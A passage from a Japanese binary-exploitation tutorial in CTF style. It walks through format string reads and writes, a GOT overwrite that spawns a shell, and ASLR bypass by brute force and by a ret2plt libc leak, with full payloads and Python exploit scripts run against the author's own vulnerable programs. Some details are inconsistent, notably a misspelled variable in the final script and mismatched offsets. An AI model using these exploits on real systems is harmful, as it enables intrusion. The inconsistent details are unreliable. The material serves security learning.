先ほどの出力を確認すると7番目に入力された'AAAA'が表示されていることがわかる。これを次は指定した値を文字列として出力する%sを使用して出力したいと思う。今回7番目の値を表示したいので'%n$s'という文字列を渡す。(n番目の値を指定している)

$ ./fsb
AAAA%7$s
Segmentation fault

もちろん7番目アドレス(0x41414141)に値は存在しないのでエラーが発生している。 ただ参照するアドレスを意味のあるアドレスにすることにより%sで中身を確認することはできるので次はsecret変数のアドレスを指定し表示させたいと思う。 まずはsecret変数のアドレスを調べる。

$ readelf -s fsb | grep secret
    58: 0804a028     4 OBJECT  GLOBAL DEFAULT   24 secret

アドレス(0x0804a028)がわかったので次は入力にそのアドレスをリトルエンディアンで渡す。

$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb
(xV4 ���
secret = 0x12345678

文字化けしているが何かは表示されている。 確認のためにhexdump -Cに出力をパイプで渡す。

$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C
00000000  28 a0 04 08 78 56 34 12  20 ac fc f7 0a 73 65 63  |(...xV4. ....sec|
00000010  72 65 74 20 3d 20 30 78  31 32 33 34 35 36 37 38  |ret = 0x12345678|
00000020  0a                                                |.|
00000021

最初に入力したsecret変数のアドレスが表示され続いて%sで指定した文字列が続いている。 このようにしてローカル変数と書式文字列攻撃を組み合わせることによって任意のアドレスから値を読み込むことができる。

任意のアドレスへの書き込み

printf関数は文字列の出力を行うものなので一見書き込みはできないように思えるが、フォーマット文字列の中には%n, %hn, %hhnというn系のものが存在し、これらは展開時にprintf関数が出力している文字数をメモリに書き込んでくれる。 実際に実践してみる。

$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb
(�
secret = 0x4

上記からわかる通り'\x28\xa0\x04\x08'を出力した後なので4バイトの'4'がsecret変数に格納されている。 ただ%nは対象のアドレスを4バイト(0 ~ 4,294,967,295)とみなすため書き込みたい値によっては数十億もの文字を出力する必要がある。これを解決するのが%hnや%hhnである。 詳細は以下。

フォーマット指定子 書き込みバイト数
%n 4
%hn 2
%hhn 1

次に%nを複数回使用する場合において1回のprintf内で書き込まれるバイト数はリセットされない。では書き込みたい値が前回の値よりも小さい場合はどうなるか。 その場合は難しく考える必要はなく、printfは出力バイト数がオーバーフローしている場合は、オーバーフローした値は無視して書き込みを行う、つまり%hhnで0xffを書き込んだ後に0x20を書き込みたい場合は0x120となるように出力バイト数を調整すればよい。

GOT Overwrite

ここでは書式文字列攻撃を用いてGOT Overwriteを行いEIPを奪う。 実行ファイルがライブラリと動的リンクされていて、且つRELROがNo RELROもしくはPartial RELOROの場合にGOT Overwriteが有効となる。ライブラリの関数アドレスを保存しているGOT領域が書き込み可能になっているためその部分を書式文字列攻撃で書き換えると書き換えた値に該当する場所にEIPを移すことができる。

GOT Overwriteを行う対象としては関数をsystem関数に書き換えた時にうまく動くように、第1引数にユーザの入力文字列が指定されているものが望ましいと言える。strlenやputsといった関数がその要件を満たしやすいと思う。

先ほどのfsb.cではこの要件を満たせないため、新たにgotというプログラムを用意する。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf(str);

    fgets(str, 128, stdin);
    printf("%d\n", strlen(str));
    return 0;
}

1度目のprintf関数でGOT Overwriteを行いstrlen関数をsystem関数に書き換え、2度目のfgets関数でsystem関数の引数を設定してstrlen(system)でシェルの起動を行う。

GOT領域のアドレスはIDAや逆アセンブラを使用して調べる方法とreadelfコマンドを使用して調べる方法とがある。

$ readelf -r got

Relocation section '.rel.dyn' at offset 0x31c contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
0804a02c  00000805 R_386_COPY        0804a02c   stdin

Relocation section '.rel.plt' at offset 0x32c contains 6 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf
0804a010  00000207 R_386_JUMP_SLOT   00000000   fgets
0804a014  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail
0804a018  00000407 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a01c  00000507 R_386_JUMP_SLOT   00000000   strlen
0804a020  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main

strlen関数のアドレスは0x0804a01cであることがわかる。

次にsystem関数のアドレスだ。

$ gdb -q got
Reading symbols from got...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484f0
gdb-peda$ r
Starting program: /home/ubuntu/got
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x1
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xceeb2bb6
EDX: 0xffffd6e4 --> 0xf7fca000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xffffd6b8 --> 0x0
ESP: 0xffffd6b8 --> 0x0
EIP: 0x80484f0 (<main+3>: and    esp,0xfffffff0)
[-------------------------------------------------------------code--------------------------------------------------------------]
   0x80484e8 <frame_dummy+40>:    jmp    0x8048460 <register_tm_clones>
   0x80484ed <main>:  push   ebp
   0x80484ee <main+1>:    mov    ebp,esp
=> 0x80484f0 <main+3>: and    esp,0xfffffff0
   0x80484f3 <main+6>:    sub    esp,0xa0
   0x80484f9 <main+12>:   mov    eax,DWORD PTR [ebp+0xc]
   0x80484fc <main+15>:   mov    DWORD PTR [esp+0xc],eax
   0x8048500 <main+19>:   mov    eax,gs:0x14
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ebp esp 0xffffd6b8 --> 0x0
01:0004|         0xffffd6bc --> 0xf7e39ad3 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
02:0008|         0xffffd6c0 --> 0x1
03:0012|         0xffffd6c4 --> 0xffffd754 --> 0xffffd889 ("/home/ubuntu/go"...)
04:0016|         0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
05:0020|         0xffffd6cc --> 0xf7feae6a (add    ebx,0x12196)
06:0024|         0xffffd6d0 --> 0x1
07:0028|         0xffffd6d4 --> 0xffffd754 --> 0xffffd889 ("/home/ubuntu/go"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x080484f0 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e5fe70 <system>

上記からsystem関数のアドレスは0xf7e5fe70だということがわかった。

ここで入力が何文字目に来るのか確認する。

$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./got
AAAA0x80,0xf7fcac20,0xffffd794,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70,0x2c70252c,0x252c7025
37

7番目にきているのがわかる。

ここで攻撃の文字列を組み立てていく。 strlenのアドレスが入っている0x0804a01c ~ 0x0804a01f(4バイト)にsystem関数のアドレス(0xf7e5fe70)を1バイトずつ書き込んでいく。

書式文字列 出力バイト数 積算出力バイト数
書き込みアドレス1 (0x0804a01c) 4 4
書き込みアドレス2 (0x0804a01d) 4 8
書き込みアドレス3 (0x0804a01e) 4 12
書き込みアドレス4 (0x0804a01f) 4 16
%96x 96 112
%7$hhn (書き込み)
%142x 142 254
%8$hhn (書き込み)
%231x 231 485
%9$hhn (書き込み)
%18x 18 503
%10$hhn (書き込み)

上記から以下の入力文字列を作成する。

\x1c\xa0\x04\x08\x1d\xa0\x04\x08\x1e\xa0\x04\x08\x1f\xa0\x04\x08%96x%7$hhn%142x%8$hhn%231x%9$hhn%16x%10$hhn

今回は2番目の標準入力にあたるfgets関数にsystem関数の入力として/bin/shを与えたいので改行コード(\n)でつなぎ/bin/shを与える。 先ほど同様catで標準入力をパイプする。 では実行する。

$ (echo -e '\x1c\xa0\x04\x08\x1d\xa0\x04\x08\x1e\xa0\x04\x08\x1f\xa0\x04\x08%96c%7$hhn%142c%8$hhn%231c%9$hhn%18c%10$hhn\n/bin/sh';cat) | ./got
                                                                                               �                                                                                                                                                                                                                                                                                                                                                                                    �
ls -l
total 100
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 15 18:04 bin
-rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof
-rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1
-rw-rw-r-- 1 ubuntu ubuntu  257 Feb 13 16:41 bof1.c
-rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2
-rw-rw-r-- 1 ubuntu ubuntu  224 Feb 13 17:28 bof2.c
-rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3
-rw-rw-r-- 1 ubuntu ubuntu  225 Feb 13 17:59 bof3.c
-rw-rw-r-- 1 ubuntu ubuntu  124 Feb 13 16:03 bof.c
-rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format
-rw-rw-r-- 1 ubuntu ubuntu  158 Feb 13 16:24 format.c
-rwxrwxr-x 1 ubuntu ubuntu 7445 Feb 15 22:44 fsb
-rw-rw-r-- 1 ubuntu ubuntu  196 Feb 15 22:42 fsb.c
-rwxrwxr-x 1 ubuntu ubuntu 7456 Feb 16 11:01 got
-rw-rw-r-- 1 ubuntu ubuntu  217 Feb 16 11:01 got.c
drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda
-rw-rw-r-- 1 ubuntu ubuntu   11 Feb 15 18:18 peda-session-bof3.txt
-rw-rw-r-- 1 ubuntu ubuntu   11 Feb 16 11:58 peda-session-got.txt

シェルが起動しているのがわかる。

pwn!pwn!pwn!

CTFによくある環境設定でエクスプロイトを走らせる。

エクスプロイトコード

リモートエクスプロイト用のテンプレートが以下。

import socket
import time
import os
import struct
import telnetlib

def connect(ip, port):
    return socket.create_connection((ip, port))

def p(x):
    return struct.pack('<I', x) # 32bit
    # return struct.pack('<Q', x) # 64bit

def u(x):
    return struct.unpack('<I', x)[0] # 32bit
    # return struct.unpack('<Q', x)[0] # 64bit

def interact(s):
    print('----- interactive mode -----')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

s = connect('127.0.0.1', 4000)

# write code here

interact(s)

コードとしては簡単でconnectでソケットに繋いでエクスプロイトコードを送り込みシェルが起動したらinteractで直接操作できるようにしている。 pとuは32ビット(4バイト)の数字データを文字列に相互変換する機能を提供する。 これを使用することで\x78\x56\x34\x12と書いていたものがp(0x12345678)と書くことができるようになる。

ASLRの回避

最近のCTFでは特に問題に有口無効が記述されていなくとも多くの場合ASLRが有効な状態で出題される。ASLRをどうにかして回避しないことにはCTFで得点することは難しい状況にある。しかしほとんどの問題で共通のテクニックを用いて回避することができるので慣れてしまえば難しいことはない。

ブルートフォース

ASLRの回避でもっとも単純なのがブルートフォースである。 たとえアドレスがランダム化されていようと同じアドレスで攻撃し続ければいつかはアドレスが当たって攻撃が成功するはずである。 特に32bit環境ではアドレス幅も32bitに制限されるためランダム化できる部分が限られてくる。そのため現実的な時間でブルートフォース攻撃を成功させることができる。Linuxの場合、各領域のアドレスでランダム化されるビット数は次の表の通りになる。

領域 32 bit 64 bit
stack 11 bit 20 bit
mmap 8 bit 28 bit
heap 13 bit 13 bit

プログラム内で用いる共有ライブラリはmmapを用いてメモリ上に配置されるため32bit環境では8bitすなわち256通りのランダム化しか提供しないことになる。 実際に256通りなのか検証してみる。 ASLR回避の解説は最小限の入出力だけが行われるbof4.cを使用して進めていく。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char msg[] = "Hello\n";
    char buf[32];
    write(1, msg, strlen(msg));
    read(0, buf, 128);
    return 0;
}

共有ライブラリが配置されるメモリアドレスがランダム化されるようにASLRを有効にする。

$ sudo sysctl -w kernel.randomize_va_space=2

では実際に再配置されているかを確認する。

$ ldd bof4
    linux-gate.so.1 =>  (0xf770c000)
    libc.so.6 => /lib32/libc.so.6 (0xf7551000)
    /lib/ld-linux.so.2 (0x56576000)
ubuntu@cim16312:~$ ldd bof4
    linux-gate.so.1 =>  (0xf774a000)
    libc.so.6 => /lib32/libc.so.6 (0xf758f000)
    /lib/ld-linux.so.2 (0x565ff000)
ubuntu@cim16312:~$ ldd bof4
    linux-gate.so.1 =>  (0xf77f9000)
    libc.so.6 => /lib32/libc.so.6 (0xf763e000)
    /lib/ld-linux.so.2 (0x56617000)
ubuntu@cim16312:~$ ldd bof4
    linux-gate.so.1 =>  (0xf7797000)
    libc.so.6 => /lib32/libc.so.6 (0xf75dc000)
    /lib/ld-linux.so.2 (0x5661b000)

上記の結果をみるとlibc.so.6のアドレスはだいたい0xf7500000 ~ f7600000の範囲に配置されている。下位12bitはメモリのページ境界で常に0となっている。確かにランダム化されているのは8bitのよう。

次にブルートフォース攻撃でシェルを起動することができるかを実験します。libc.so.6が配置されているアドレスは先ほど実行したlddコマンド結果の1番目(0xf7551000)を使用し、そこからsystem関数の位置を計算する。 nmコマンドでsystem関数の位置を確認する。

ubuntu@cim16312:~$ nm -D /lib32/libc.so.6 | grep system
0003fe70 T __libc_system
00118e50 T svcerr_systemerr
0003fe70 W system

上記からシステム関数はlibc.so.6内の0x40190に配置されていることがわかる。したがってブルートフォースの対象アドレスはlibcの配置アドレスにsystem関数の相対位置アドレスを足した0xf7590e70 (0xf7551000 + 0x0003fe70)となる。

次に/bin/shという文字列を用意する必要があるが、プログラムないで入力した文字列が保存されるのはスタック領域のみとなっている。これではlibのアドレスとスタックのアドレスの両方を同時にブルートフォースする必要が生じてしまい攻撃の効率が大幅に下がってしまう。だが実は/bin/shはlibc内に固定のアドレスで存在するためlibcのアドレスさえわかれば相対位置から計算しアドレスを割り出すことができる。 それでは/bin/shがどこにあるのかを調べる。

$ strings -tx /lib32/libc.so.6 | grep /bin/sh
 15ffcc /bin/sh

上記から/bin/shの相対位置が0x15ffccだとわかったのでlibcの予想アドレスである0xf7551000を足して0xf76b0fccとする。

最後にバッファオーバーフロー後のリターンアドレスの位置を計算する。 先ほどと同様gdb-padeのpattern-createを使用する。

$ gdb -q bof4
Reading symbols from bof4...(no debugging symbols found)...done.
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /home/ubuntu/bof4
Hello
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x0
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xffffd689 ("AAA%AAsAABAA$AA"...)
EDX: 0x80
ESI: 0x0
EDI: 0x0
EBP: 0x41416241 (b'AbAA')
ESP: 0xffffd6c0 ("AAcAA2AAHAAdAA3"...)
EIP: 0x47414131 (b'1AAG')
[-------------------------------------------------------------code--------------------------------------------------------------]
Invalid $PC address: 0x47414131
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| esp 0xffffd6c0 ("AAcAA2AAHAAdAA3"...)
01:0004|     0xffffd6c4 ("A2AAHAAdAA3AAIA"...)
02:0008|     0xffffd6c8 ("HAAdAA3AAIAAeAA"...)
03:0012|     0xffffd6cc ("AA3AAIAAeAA4AAJ"...)
04:0016|     0xffffd6d0 ("AIAAeAA4AAJAAfA"...)
05:0020|     0xffffd6d4 ("eAA4AAJAAfAA5AA"...)
06:0024|     0xffffd6d8 ("AAJAAfAA5AAKAAg"...)
07:0028|     0xffffd6dc ("AfAA5AAKAAgAA6A"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x47414131 in ?? ()
gdb-peda$ patto 1AAG
1AAG found at offset: 51

上記から51文字目であることがわかった。

この時点で必要な情報は全て揃った。 しかしアドレスがヒットするまで手動で実行し続けるのは骨が折れるため自動で攻撃を行うプログラムを書く。 先ほどのテンプレートに少し手を加えたものだ。

$ cat bruteforce.py
# coding: utf-8
import socket
import time
import os
import struct
import telnetlib

def connect(ip, port):
    return socket.create_connection((ip, port))

def p(x):
    return struct.pack('<I', x)

def u(x):
    return struct.unpack('<I', x)[0]

def interact(s):
    print('----- interactive mode -----')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

payload = 'A' * 51          # ここでリターンアドレスまでを'A'で埋める
payload += p(0xf7590e70)    # system関数のアドレス
payload += b'BBBB'          # ダミーのリターンアドレス
payload += p(0xf76b0fcc)    # '/bin/sh'の文字列

# 攻撃が刺さるまで実行し続ける
while True:
    s = connect('127.0.0.1', 4000) # 自ホストに4000番ポートで接続

    print(s.recv(1024).decode('utf-8'))
    s.send(payload + b'\n')
    time.sleep(0.1)
    s.send(b'id\n\exit\n')
    time.sleep(0.1)
    result = s.recv(1024).decode('utf-8')
    if len(result) > 0:
        print(result)
        break

24行目から28行目でペイロードを作成する。 mainからリターンする際にEIPに渡るリターンアドレスが格納されるスタックアドレスまでを'A'で埋め、そのあとにsystem関数のアドレス、次にダミーのリターンアドレスをセットし、その次にsystem関数の引数になる'/bin/sh'という文字列が配置されているアドレスをつなぐ。 これでペイロードは完成だ。

次にローカルホストの4000番にbof4を割り当てるためsocatコマンドを使用する。使用方法は以下のリンクに詳細が書かれている。 では以下のコマンドで起動する。

$ socat TCP-LISTEN:4000,reuseaddr,fork EXEC:./bof4 2> /dev/null &

上記を簡単に説明するとTCPの4000番でサーバを起動し、コネクションが切れても再度接続するように設定、接続が確立した際はforkし複数のコネクションを捌けるようにしている。

では先ほど作成したスクリプトを実行してみる。

$ python bruteforce.py
Hello

Hello

Hello

Hello

(省略)

uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)

$

上記から攻撃がささっているのが確認できた。

アドレスのリーク

ASLRをブルートフォース攻撃で破る方法は32bitアーキテクチャしか使用できす且つ一度で攻撃が刺さることはほぼないため美しくない。なのでEIPを奪った状態で実行ファイルにランダム化された領域のアドレスを出力させれば計算によって目的のアドレスを算出することができる。またASLRによってランダム化されるアドレスはヒープ、スタック、mmap(共有ライブラリ)領域なので、実行ファイルが配置されるアドレスはランダム化されていない。よってここでは固定されている範囲内でEIPをうまく制御して求めたい領域のアドレスを出力させることが目標になる。

固定アドレス上にある共有ライブラリのアドレスが配置される場所を考えると、GOT領域に存在するlibc内の関数アドレスを出力する方法が有効である。ただGOT領域はアドレスをキャッシュしているだけなので、アドレスをキャッシュ済みの関数を使用しなければアドレスを入手できないことに注意する必要がある。libcの配置されているアドレスを算出することができればlibc内の他の関数のアドレスを計算で求めることができる。 エクスプロイトコードを書き始める前にバイナリ内の各種アドレスを控える。

$ objdump -d -M intel -j .plt --no bof4

bof4:     file format elf32-i386


Disassembly of section .plt:

08048320 <read@plt-0x10>:
 8048320:   push   DWORD PTR ds:0x804a004
 8048326:   jmp    DWORD PTR ds:0x804a008
 804832c:   add    BYTE PTR [eax],al
    ...

08048330 <read@plt>:
 8048330:   jmp    DWORD PTR ds:0x804a00c
 8048336:   push   0x0
 804833b:   jmp    8048320 <_init+0x2c>

08048340 <__gmon_start__@plt>:
 8048340:   jmp    DWORD PTR ds:0x804a010
 8048346:   push   0x8
 804834b:   jmp    8048320 <_init+0x2c>

08048350 <strlen@plt>:
 8048350:   jmp    DWORD PTR ds:0x804a014
 8048356:   push   0x10
 804835b:   jmp    8048320 <_init+0x2c>

08048360 <__libc_start_main@plt>:
 8048360:   jmp    DWORD PTR ds:0x804a018
 8048366:   push   0x18
 804836b:   jmp    8048320 <_init+0x2c>

08048370 <write@plt>:
 8048370:   jmp    DWORD PTR ds:0x804a01c
 8048376:   push   0x20
 804837b:   jmp    8048320 <_init+0x2c>

上記からwriteのPLTアドレスは0x08048370でGOTアドレスは0x804a01cになる。

以下のコードでGOTのアドレスを確認してみる。

import socket
import time
import os
import struct
import telnetlib

def connect(ip, port):
    return socket.create_connection((ip, port))

def p(x):
    return struct.pack('<I', x)

def u(x):
    return struct.unpack('<I', x)[0]

def interact(s):
    print('----- interactive mode -----')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

write_plt = 0x08048370
write_got = 0x0804a01c

s = connect('127.0.0.1', 4000)

payload = b''.join([
    b'A' * 51, # padding
    p(write_plt), # writeの関数アドレス
    b'BBBB',
    p(1),
    p(write_got),
    p(4)
])

print(s.recv(1024).decode('utf-8'))
s.send(payload + b'\n')
print(hex(u(s.recv(4))))

上記のコード内ではpayloadは以下のような構成で組まれている。

文字列 意図
b'A' * 51 padding
p(write_plt) writeの関数アドレス
b'BBBB' ダミーのリターンアドレス
p(1) write関数の第1引数
p(write_got) write関数の第2引数
p(4) write関数の第3引数

ここでなぜ0x804a01cの値を表示させることでwrite関数のアドレスがわかるかを説明したい。 先ほどobjdumpで調べたアセンブリ(以下)の中に'DWORD PTR'という記述がある、これは指定したアドレスの値をアドレスとしてjmpするという命令で、すなわち0x804a01cの値が実際にwrite関数の処理が配置されているアドレスになるので上記のエクスプロイトで表示させたというわけだ。

08048370 <write@plt>:
 8048370:   jmp    DWORD PTR ds:0x804a01c
 8048376:   push   0x20
 804837b:   jmp    8048320 <_init+0x2c>

実際にbof4をsocatで起動し、先ほどのleak.pyを実行してみる。

$ socat TCP-LISTEN:4000,reuseaddr,fork EXEC:./bof4 2> /dev/null &
[1] 18147
ubuntu@cim16312:~$ python leak.py
Hello

0xf76afda0

見事にアドレスらしきものが表示された。 ただ複数回実行するとわかるがASLRが有効なので毎回表示される値が変化する。

$ python leak.py
Hello

0xf76a1da0
ubuntu@cim16312:~$ python leak.py
Hello

0xf769fda0
ubuntu@cim16312:~$ python leak.py
Hello

0xf76d6da0
ubuntu@cim16312:~$ python leak.py
Hello

0xf7682da0
ubuntu@cim16312:~$ python leak.py
Hello

0xf767cda0

writeのアドレスが判明してもASLRでプログラムが起動するたびにアドレスはランダムに変化するため次に攻撃した時にはリークしたアドレスが使用できない。よって一度の実行でアドレスのリークからシェルの実行までを行う必要がある。

リークしたアドレスを使用してさらに関数を呼び出すために計算後のアドレスをメモリ上に配置することを考える。 bof4はPartial RELROとなっているためGOT Overwriteで計算後のアドレスを書き込み、ROPを用いてGOT領域に対するPLTの関数を呼び出すことで計算後のアドレスに存在する関数を呼び出します。

ここで一度今回のエクスプロイトコードを作成する上での方針を確認する。

  • 目的はsystem関数を使用してsystem('/bin/sh')を呼び出すこと
  • GOT領域に存在する関数のアドレスをwriteでリークする。
  • GOT領域に書き込む操作は、サーバへデータを送ることになるためreadを使用する。
  • libc内の別の関数アドレスを計算するためnmコマンドを用いて計算用のアドレスを取得する。
  • /bin/shの文字列をメモリ上に置く必要があるため、system関数のアドレス書き込み時に一緒に書き込む。(今回の攻撃方法ではlibc内の/bin/shを利用するのは難しい)

上記を元に必要なアドレスを収集する。

$ rp -f bof4 -r 3 --unique | grep pop
0x08048310: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret  ;  (2 found)
0x0804856d: add ebx, 0x00001A93 ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x08048312: add esp, 0x08 ; pop ebx ; ret  ;  (2 found)
0x08048548: fild word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret  ;  (1 found)
0x08048313: les ecx,  [eax] ; pop ebx ; ret  ;  (2 found)
0x0804854f: pop ebp ; ret  ;  (1 found)
0x08048315: pop ebx ; ret  ;  (2 found)
0x0804854e: pop edi ; pop ebp ; ret  ;  (1 found)
0x0804854d: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)

ubuntu@cim16312:~$ nm -D /lib32/libc.so.6 | grep __libc_start_main
000199e0 T __libc_start_main

ubuntu@cim16312:~$ nm -D /lib32/libc.so.6 | grep system
0003fe70 T __libc_system
00118e50 T svcerr_systemerr
0003fe70 W system

では実際の攻撃を行うエクスプロイトコードは以下。

import socket
import time
import os
import struct
import telnetlib

def connect(ip, port):
    return socket.create_connection((ip, port))

def p(x):
    return struct.pack('<I', x)

def u(x):
    return struct.unpack('<I', x)[0]

def interact(s):
    print('----- interactive mode -----')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

read_plt = 0x08048330
write_plt = 0x08048370
write_got = 0x0804a01c
__libc_start_main_plt = 0x08048360
__libc_start_main_got = 0x0804a018
pop3ret = 0x0804854d
__libc_start_main_rel = 0x000199e0
system_rel = 0x0003fe70

s = connect('127.0.0.1', 4000)

payload = b'A' * 51 # padding

# write(1, __libc_start_main_got, 4)
payload += p(write_plt)
payload += p(pop3ret)
payload += p(1)
payload += p(__libc_start_main_got)
payload += p(4)

# read(0, __libc_start_main_got, 20)
payload += p(read_plt)
payload += p(pop3ret)
payload += p(0)
payload += p(__libc_start_main_got)
payload += p(20)

# system('/bin/sh')
paylaod += p(__libc_start_main_plt)
paylaod += b'BBBB'
paylaod += p(__libc_start_main_got + 4)

print(s.recv(1024).decode('utf-8'))
s.send(payload)
time.sleep(0.1)

__libc_start_main_addr = u(s.recv(4))
libc_base = __libc_start_main_addr - __libc_start_main_rel
system_addr = libc_base + system_rel

print('libc_base: {}'.format(hex(libc_base)))
s.send(p(system_addr) + b'/bin/sh\0')
time.sleep(0.1)

interact(s)

ソースコードの中身を解説する。

まずは以下の部分。

# write(1, __libc_start_main_got, 4)
payload += p(write_plt)
payload += p(pop3ret)
payload += p(1)
payload += p(__libc_start_main_got)
payload += p(4)

アプローチとしてはまずbof4.cの最後のread関数でret2plt用いてmain関数のリターンアドレスを書き換え、ret2pltを行いwrite関数をコールしてGOT領域内に存在するmain関数のアドレスを確認する。ret2pltでコールしたwrite関数のリターンアドレスには先ほどrpコマンドで出力した、popret gadget(pop pop pop ret)のアドレスを指定しwrite関数で使用した引数をpopした後にリターンする。

次に以下。

# read(0, __libc_start_main_got, 20)
payload += p(read_plt)
payload += p(pop3ret)
payload += p(0)
payload += p(__libc_start_main_got)
payload += p(20)

上記では__libc_start_main_gotのアドレス値を書き換えようとしているが、これは先ほどret2pltでコールしたwrite関数の出力であるGOT領域内のmain関数のアドレスから元々取得しておいたmain関数の相対アドレス位置の差分を計算してgot領域のベースアドレス(GOT領域の一番最初のアドレス)を割り出し、そのベースアドレスにsystem関数の相対アドレスを足し実際のアドレスを算出した後、GOT領域内のmain関数のアドレス値を先ほど算出したsystem関数のアドレスに書き換えている。

次は以下。

# system('/bin/sh')
paylaod += p(__libc_start_main_plt)
paylaod += b'BBBB'
paylaod += p(__libc_start_main_got + 4)

上記もまたret2pltでmain関数をコールしているのだが先ほどGOT領域のmain関数アドレス値の部分をsystem関数のアドレスに書き換えているのでsystem関数がコールされる。リターンアドレスはこれ以上関数を呼ぶ必要がないためダミーアドレスを指定している。引数に当たる部分が libc_start_main_got + 4 となっているのは、後に行うret2pltでコールしたread関数のに渡す文字列を見るとわかるのだが4バイトのアドレスの指定の後にsystem関数の引数となる '/bin/sh\0' を渡しているため。よって書き換えたGOT領域内のmain関数アドレス値(4バイト)の後ろに来るため libc_start_main_got + 4 と形になっている。

次に作成したペイロードを送信する部分。

print(s.recv(1024).decode('utf-8'))
s.send(payload)
time.sleep(0.1)

まず最初のprint関数でs.recvでbof4から受け取った'Hello'の文字列を出力する。次に先ほど作成したpayloadを送信し、ret2pltが起こるので以後任意の処理が始まる。sleep関数はbof4側の処理を考慮した待ち時間である。

次の箇所ではlibcの場所を特定している。

__libc_start_main_addr = u(s.recv(4))
libc_base = __libc_start_main_addr - __libc_start_main_rel
system_addr = libc_base + system_rel

最初の1行でbof4に渡したペイロードによりre2pltが起こり、それによりコールされたwrite関数からGOT領域に格納されたmain関数のアドレスを受け取っている。そこからmain関数のlibc内での相対位置からlibcのベースアドレスを算出し当該ベースアドレスとsystem関数の相対アドレスを足し合わせてsystem関数のアドレスを算出している。

次に最後の一かたまり

print('libc_base: {}'.format(hex(libc_base)))
s.send(p(system_addr) + b'/bin/sh\0')
time.sleep(0.1)

先ほど算出したベースアドレスを標準出力で表示している。その後先ほど算出したsystem関数のアドレスをret2pltでコールしたread関数に渡す。この時にGOT領域にあるmain関数のアドレス値がsystem関数のアドレスに書き換えられる。引数として /bin/sh\0(終端文字列) を渡しておりsystem関数の引数として使用される。そしてbof4側ではアドレスの書き換えによりret2pltからsystem関数が呼ばれているので先ほど渡したsystem関数の引数である /bin/sh が実行されシェルが起動する。

以下の最後の一行でインタラクティブになりシェルを操作できるようになる。

interact(s)

実際に実行する。 見事に/bin/shを起動することができているのがわかる。

$ python avoid_aslr.py
Hello

libc_base: 0xf7583000
----- interactive mode -----
ls -l
total 124
-rw-rw-r-- 1 ubuntu ubuntu  510 Feb 17 02:01 aslr.py
-rw-rw-r-- 1 ubuntu ubuntu 1369 Feb 17 22:46 avoid_aslr.py
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 15 18:04 bin
-rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof
-rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1
-rw-rw-r-- 1 ubuntu ubuntu  257 Feb 13 16:41 bof1.c
-rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2
-rw-rw-r-- 1 ubuntu ubuntu  224 Feb 13 17:28 bof2.c
-rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3
-rw-rw-r-- 1 ubuntu ubuntu  225 Feb 13 17:59 bof3.c
-rwxrwxr-x 1 ubuntu ubuntu 7374 Feb 16 17:32 bof4
-rw-rw-r-- 1 ubuntu ubuntu  192 Feb 16 17:32 bof4.c
-rw-rw-r-- 1 ubuntu ubuntu  124 Feb 13 16:03 bof.c
